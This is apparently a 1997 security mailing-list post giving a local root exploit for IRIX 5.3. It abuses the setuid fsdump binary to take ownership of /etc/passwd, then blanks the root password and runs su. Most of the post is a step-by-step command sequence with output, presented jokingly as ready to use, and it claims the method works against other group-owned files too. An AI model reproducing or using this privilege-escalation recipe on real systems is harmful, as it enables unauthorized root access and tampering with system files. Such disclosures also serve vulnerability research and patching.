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- Ok. Well, yet another IRIX 5.3 root exploit.
- Of course, the major problem here is that IRIX allow users to
- give away ownership of files. Without that, this could only
- be used for changing the permissions on file so that you could read
- and modify.
-
- The system (an Indy):
- IRIX irix 5.3 11091812 IP22 mips
-
- irix% ls -la /var/rfindd/fsdump
- ---s--x--x 1 root sys 62032 Jul 25 1995 /var/rfindd/fsdump
-
- What tipped me off that it was exploitable was the fact that it
- was a protected suid binary (---s--x--x). I thought: if someone at
- SGI is being careful to not let non-root users read the binary,
- then it *must* be packed with holes... :-)
-
- So, I'm just a normal user today...
-
- irix% id
- uid=1799(csh) gid=500(users)
-
- irix% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump /
- (count to three, and hit ctrl-c)
-
- irix% ls -la /etc/passwd
- -rw-r--r-- 1 csh users 956 Feb 25 06:23 /etc/passwd
-
- And now I've got root access...
-
- irix% tail -8 /etc/passwd
- nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null
- noaccess:*:60002:60002:uid no access:/dev/null:/dev/null
- nobody:*:-2:-2:original nobody uid:/dev/null:/dev/null
-
- Tue Feb 25 06:23:48 PST 1997
- Number of inodes total 208740; allocated 31259
- Collecting garbage.
- interrupted
-
- All you have to do is edit off the garbage from the passwd file,
- delete the encrypted root password and reset the perms on the passwd file.
-
- irix% vi /etc/passwd # remove the encrypted root password
- irix% chgrp sys /etc/passwd
- irix% chown root /etc/passwd
- irix% su -
- irix#
-
-
- That's it.
- (Heck, you don't even have to remove the garbage from the passwd file.)
-
- This can be used to access pretty much any file on the system
- which is currently group owned...
-
- fun, fun, fun until SGI takes the bugs away... ;-) (right)
-
-